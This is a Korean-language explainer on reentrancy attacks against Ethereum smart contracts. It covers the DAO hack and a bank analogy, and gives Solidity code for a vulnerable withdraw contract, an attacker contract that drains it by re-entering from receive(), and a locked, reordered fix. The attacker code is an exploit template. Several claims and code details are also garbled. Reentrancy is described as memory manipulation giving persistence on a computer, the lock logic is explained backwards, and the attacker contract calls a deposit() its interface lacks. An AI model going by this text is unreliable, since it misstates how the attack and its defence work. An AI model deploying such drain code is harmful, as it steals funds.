블록체인 생태계 내 재진입 공격의 위험을 완화하기 위한 노력에도 불구하고, 이러한 침해로 인해 상당한 금액의 디지털 자산이 손실되는 사례가 산발적으로 계속 발생하고 있습니다. 이러한 사건은 초기 기술에 존재하는 잠재적 취약성을 강조하기 때문에 개발자와 최종 사용자 모두에게 주목할 만한 사안입니다.
재진입 공격은 공격자가 프로그램 내에서 악성 코드를 반복적으로 실행하여 소프트웨어 실행 흐름의 결함을 악용하고 시스템에 대한 무단 액세스 또는 제어권을 획득할 수 있는 사이버 보안 취약점을 의미합니다. 이러한 유형의 공격에는 일반적으로 호출 스택 또는 메모리 할당 프로세스를 조작하여 프로그램이 무한 루프 또는 재귀 함수에 들어가도록 하여 공격자가 표적 컴퓨터에서 지속성을 유지할 수 있도록 합니다. 이러한 위험을 완화하기 위해 개발자는 프로그램과 사용자에게 권한을 부여할 때 입력 유효성 검사, 적절한 오류 처리, 최소 권한 원칙 준수 등의 보안 코딩 관행을 구현해야 합니다. 또한 샌드박싱 또는 가상화와 같은 보안 메커니즘을 구현하면 영향을 받는 시스템이나 프로세스를 격리하여 재진입 공격의 잠재적 영향을 제한하는 데 도움이 될 수 있습니다.
재진입 공격이란 무엇인가요?
재진입 공격은 취약한 스마트 컨트랙트가 일시적으로 트랜잭션 시퀀스에 대한 명령을 포기하더라도 악의적인 거래 상대방에게 외부 호출을 실행할 때 발생합니다. 그 후, 불법적인 스마트 컨트랙트는 실행 주기 동안 처음에 표적이 된 스마트 컨트랙트를 지속적으로 소환하여 그 과정에서 리소스를 고갈시킵니다.
본질적으로 이더리움 블록체인의 출금 거래는 잔액 확인, 송금, 잔액 업데이트로 구성된 3단계 프로세스를 거칩니다. 안타깝게도 권한이 없는 당사자가 잔액 업데이트 전에 이 과정을 가로채면 반복적인 인출을 통해 지갑에서 지속적으로 자금을 빼낼 수 있습니다.
이미지 출처: 이더스캔
가장 악명 높은 블록체인 해킹 중 하나인 이더리움 DAO 해킹은 코인데스크 에서 다룬 것처럼 재진입 공격으로 인해 6천만 달러 이상의 이더를 잃고 두 번째로 큰 암호화폐의 방향을 근본적으로 바꾼 사건입니다.
재진입 공격은 어떻게 작동하나요?
존경받는 주민들이 자금을 맡기는, 총 유동성이 100만 달러에 달하는 금융 기관이 지역 사회 내에 있다고 상상해 보세요. 하지만 이 금융 기관은 불완전한 회계 프로세스로 인해 직원들이 고객 계좌 업데이트를 해질녘까지 지연시키는 등 어려움을 겪고 있습니다.
투자 지인이 마을을 방문했을 때 재무 기록에서 불일치를 발견합니다. 취약점을 입증하기 위해 그는 은행 계좌를 개설하고 100달러를 이체합니다. 다음 날, 그는 같은 금액에 대한 출금 요청을 시작하고, 잔액이 업데이트되지 않아 즉시 처리됩니다. 이 과정을 여러 번 반복하면 사용 가능한 자금이 소진됩니다. 기관은 야간 부기 절차를 수행한 후에야 업무가 마감될 때까지 자금이 부족하다는 사실을 알게 됩니다.
스마트 컨트랙트는 특정 조건이 충족될 때 자동으로 조건을 실행하는 당사자 간의 계약입니다. 투명하고 효율적인 방식으로 거래를 촉진하고 분쟁을 해결하는 데 사용할 수 있습니다. 이 과정은 계약의 목적과 적용되는 규칙을 지정하여 계약을 생성하는 것으로 시작됩니다. 일단 생성된 컨트랙트는 블록체인 네트워크에 배포되어 하나 이상의 이벤트에 의해 활성화될 때까지 상주합니다. 트리거되면 컨트랙트는 사람의 개입 없이 프로그래밍에 따라 기능을 수행합니다. 완료 후 거래는 투명성과 책임성을 위해 블록체인에 기록됩니다. 전반적으로 스마트 컨트랙트를 사용하면 프로세스를 간소화하고 중개자에 대한 의존도를 줄임으로써 금융, 공급망 관리, 부동산과 같은 산업에 혁신을 일으킬 수 있습니다.
악의적인 행위자가 특정 스마트 컨트랙트에서 ‘X’라고 하는 결함을 발견하고, 이를 악의적인 목적으로 악용할 수 있다고 생각합니다.
공격자가 악의적인 계약 Y로 자산을 이전할 의도로 계약 X를 대상으로 합법적인 거래를 시작합니다. 이 작업 과정에서 Y는 X의 경계 내에서 결함이 있는 절차를 호출합니다.
X의 계약 실행이 중단된 것은 외부 발생에 의존하기 때문이며, 해당 상호 작용이 발생할 때까지 연기 또는 연기됩니다.
일시 중지 명령으로 인해 프로그램의 제어 흐름이 일시적으로 중단된 동안 공격자는 X 내에서 동일한 결함이 있는 기능을 반복적으로 호출할 수 있으며, 그 결과 일시 중지가 제거되거나 다른 개입이 발생할 때까지 여러 인스턴스가 실행될 수 있습니다.
컨트랙트가 재진입할 때마다 공격자가 자신의 이익을 위해 계정 X에서 계정 Y로 자산을 이체할 수 있는 방식으로 컨트랙트의 상태가 조정됩니다.
사용 가능한 자원이 고갈되면 재진입 프로세스가 중단되어 오랫동안 기다려온 X의 실행이 완료될 수 있습니다. 이후 컨트랙트의 상태는 가장 최근의 재진입 인스턴스에 따라 업데이트됩니다.
많은 경우 공격자는 재진입 취약점을 악용하여 컨트랙트 내 자금에 무단으로 접근합니다.
재진입 공격의 예
컨트랙트 코드의 취약점을 악용하려는 공격자는 “재진입 게이트웨이”를 활용하는데, 이는 다른 호출을 시작하기 전에 각 호출의 실행이 완료될 필요 없이 여러 호출을 수행할 수 있는 컨트랙트 내의 기능입니다. 공격자는 이 게이트키퍼를 조작하여 트랜잭션을 반복적으로 실행하고 탐지되지 않은 채 컨트랙트에서 자금을 빼낼 수 있습니다. 이러한 유형의 공격은 상당한 금전적 손실과 피해 당사자의 평판 손상으로 이어질 수 있습니다. 개발자는 이러한 공격이 발생하지 않도록 코드를 철저히 테스트하고 적절한 보안 조치를 구현하는 것이 중요합니다.
// Vulnerable contract with a reentrancy vulnerability
pragma solidity ^0.8.0;
contract VulnerableContract {
mapping(address => uint256) private balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw(uint256 amount) public {
require(amount <= balances[msg.sender], "Insufficient balance");
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
balances[msg.sender] -= amount;
}
}
취약 컨트랙트는 사용자가 전용 입금 기능을 통해 이더(ETH) 입금을 할 수 있도록 합니다. 또한, 사용자는 출금 기능을 통해 입금된 자금을 회수할 수 있습니다. 안타깝게도 이 프로세스는 자금 인출을 시도할 때 재진입 공격이라는 보안 결함에 취약합니다. 특히 출금 과정에서 계약은 계정 잔액을 업데이트하기 전에 출금 금액을 사용자의 지정된 주소로 이체하므로 악의적인 공격자가 이러한 공격을 실행하고 시스템에 무단으로 액세스할 수 있는 잠재적 진입 지점을 제공합니다.
악성 스마트 컨트랙트의 가상 예시는 다음과 같이 설명할 수 있습니다:
// Attacker's contract to exploit the reentrancy vulnerability
pragma solidity ^0.8.0;
interface VulnerableContractInterface {
function withdraw(uint256 amount) external;
}
contract AttackerContract {
VulnerableContractInterface private vulnerableContract;
address private targetAddress;
constructor(address _vulnerableContractAddress) {
vulnerableContract = VulnerableContractInterface(_vulnerableContractAddress);
targetAddress = msg.sender;
}
// Function to trigger the attack
function attack() public payable {
// Deposit some ether to the vulnerable contract
vulnerableContract.deposit{value: msg.value}();
// Call the vulnerable contract's withdraw function
vulnerableContract.withdraw(msg.value);
}
// Receive function to receive funds from the vulnerable contract
receive() external payable {
if (address(vulnerableContract).balance >= 1 ether) {
// Reenter the vulnerable contract's withdraw function
vulnerableContract.withdraw(1 ether);
}
}
// Function to steal the funds from the vulnerable contract
function withdrawStolenFunds() public {
require(msg.sender == targetAddress, "Unauthorized");
(bool success, ) = targetAddress.call{value: address(this).balance}("");
require(success, "Transfer failed");
}
}
공격이 시작되는 동안
공격자 컨트랙트의 인스턴스화에는 구성 과정에서 취약 컨트랙트의 주소 제공이 포함되며, 이는 이후 지정된 취약 컨트랙트 변수에 저장됩니다.
악의적 행위자는 컨트랙트의 취약점을 악용하기 위해 일련의 작업을 실행합니다. 먼저, 지정된 입금 기능을 통해 이더(ETH)를 취약한 컨트랙트(VulnerableContract)로 전송합니다. 그 직후, 그들은 인출 기능을 반복적으로 호출하여 컨트랙트의 자금을 고갈시키려고 시도합니다.
취약 컨트랙트 내의 “출금” 기능은 계정의 사용 가능한 잔액을 조정하기 전에 미리 정해진 양의 이더를 공격자가 제어하는 계정으로 이체합니다. 그러나 공격자의 컨트랙트가 외부 호출을 하는 동안 일시 중단된 상태로 유지되므로 이 작업은 완전히 실행되지 않습니다.
취약한 컨트랙트가 외부 호출을 통해 이더를 전송한 결과 공격자 컨트랙트 내의 `받기` 함수가 활성화됩니다.
공격자 컨트랙트에 1 이더 이상의 잔액이 있는 것이 확인되면 수신 기능이 다시 한 번 출금 프로세스를 트리거하여 취약한 컨트랙트에 계속 액세스할 수 있도록 합니다.
취약 컨트랙트의 자산이 고갈될 때까지 3~5단계를 반복하여 공격자의 컨트랙트에 이더(ETH)가 상당량 축적될 때까지 계속됩니다.
궁극적으로 침입자는 공격자 컨트랙트 내에서 출금 스톨린 자금 메서드를 실행하여 그 안에 축적된 모든 자산을 압수할 수 있습니다.
네트워크의 효율성에 따라 공격은 놀라울 정도로 신속하게 진행될 수 있습니다. 이더리움 내 분할을 촉발하여 이더리움과 이더리움 클래식을 모두 생성한 DAO 해킹의 경우와 같이 복잡한 스마트 컨트랙트가 관련된 경우, 침해는 몇 시간에 걸쳐 진행될 수 있습니다.
재진입 공격 방지 방법
스마트 컨트랙트에 대한 재진입 공격의 위험을 완화하기 위해서는 안전한 스마트 컨트랙트 개발을 위해 확립된 지침과 모범 사례를 준수하는 것이 필수적입니다. 이러한 목표를 달성하기 위해서는 아래 제공된 예시와 같이 취약한 컨트랙트의 코드에 “점검-효과-상호 작용” 디자인 패턴을 통합해야 합니다.
// Secure contract with the "checks-effects-interactions" pattern
pragma solidity ^0.8.0;
contract SecureContract {
mapping(address => uint256) private balances;
mapping(address => bool) private isLocked;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw(uint256 amount) public {
require(amount <= balances[msg.sender], "Insufficient balance");
require(!isLocked[msg.sender], "Withdrawal in progress");
// Lock the sender's account to prevent reentrancy
isLocked[msg.sender] = true;
// Perform the state change
balances[msg.sender] -= amount;
// Interact with the external contract after the state change
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
// Unlock the sender's account
isLocked[msg.sender] = false;
}
}
특정 계정과 관련된 보류 중인 출금을 모니터링하고 탭을 유지하기 위해 현재 반복에 “isLocked” 변수를 포함시켰습니다. 사용자가 인출을 시작하는 동안 스마트 컨트랙트는 송금인의 계정이 이전에 다른 인출 거래에 참여했는지 여부를 체계적으로 검사합니다. 계정이 실제로 잠겨 있음을 감지하면(동시 거래가 없음을 나타냄) 요청된 인출을 진행할 수 있습니다.
계좌가 보호되지 않는 경우 계좌 상태 변경 및 기관 외부와의 통신이 진행됩니다. 이 거래 이후에는 향후 추가 검색을 위해 계정이 다시 열립니다.
재진입 공격의 유형
이미지 출처: Ivan Radic/ Flickr
일반적으로 재진입 공격은 악용되는 방식에 따라 크게 세 가지 범주로 분류할 수 있습니다.
재진입 익스플로잇의 유일한 사례는 가해자가 재진입을 위해 게이트키퍼가 되기 쉬운 취약한 하위 루틴을 반복적으로 소환하는 것입니다.앞서 언급한 공격은 단독 재진입 공격의 예시이며, 코드베이스 내에서 적절한 검증과 장벽을 구현하면 간단히 저지할 수 있습니다.
교차 함수 공격은 공격자가 손상된 함수와 공통 상태를 공유하는 동일한 컨트랙트에 속한 다른 함수를 호출하기 위해 결함이 있는 함수를 이용하는 것을 포함합니다. 공격자에 의해 트리거된 표적 함수는 원하는 결과를 생성하여 악용하기 더 매력적으로 만듭니다. 따라서 이 공격 기법은 영향을 최소화하기 위해 연결된 기능 전반에 걸쳐 철저한 조사와 강력한 안전장치를 적용해야 합니다.
크로스 컨트랙트 공격은 외부 컨트랙트가 취약한 컨트랙트와 통신할 때 발생할 수 있으며, 이 기간 동안 후자의 상태가 완전히 업데이트되기 전에 미리 액세스할 수 있습니다. 이러한 사고는 여러 컨트랙트가 동일한 변수를 사용하고 이러한 컨트랙트 중 일부가 해당 변수를 안전하지 않게 수정할 때 발생할 가능성이 더 높습니다. 이 문제를 완화하기 위해서는 콘트랙트 간의 안전한 커뮤니케이션 채널과 정기적인 스마트 콘트랙트 감사를 마련해야 합니다.
재진입 공격은 다양한 특성으로 인해 각각의 발생 형태에 맞는 맞춤형 대응책이 필요합니다.
재진입 공격으로부터 안전하게 지키기
블록체인 기술은 재진입 공격으로 인해 상당한 금전적 손실을 경험했으며, 이로 인해 블록체인 기술의 신뢰성에 대한 대중의 신뢰가 손상되었습니다. 프로그래머는 스마트 컨트랙트 내에서 이러한 취약점이 발생하지 않도록 보안 조치를 엄격하게 구현하고 최적의 기술을 준수하는 것이 필수적입니다.
스마트 컨트랙트의 보호를 강화하기 위해 개발자는 자금을 안전하게 인출할 수 있는 신뢰할 수 있는 방법을 사용하고, 철저한 검증을 거친 평판이 좋은 라이브러리를 사용해야 하며, 정기적으로 종합적인 감사를 수행하여 스마트 컨트랙트의 방어를 강화해야 합니다. 또한, 잠재적 위험에 대한 인식을 유지하고 보안 조치에 대한 사전 예방적 접근 방식을 취하는 것은 블록체인 기반 시스템의 전반적인 무결성을 보존하는 데 필수적입니다.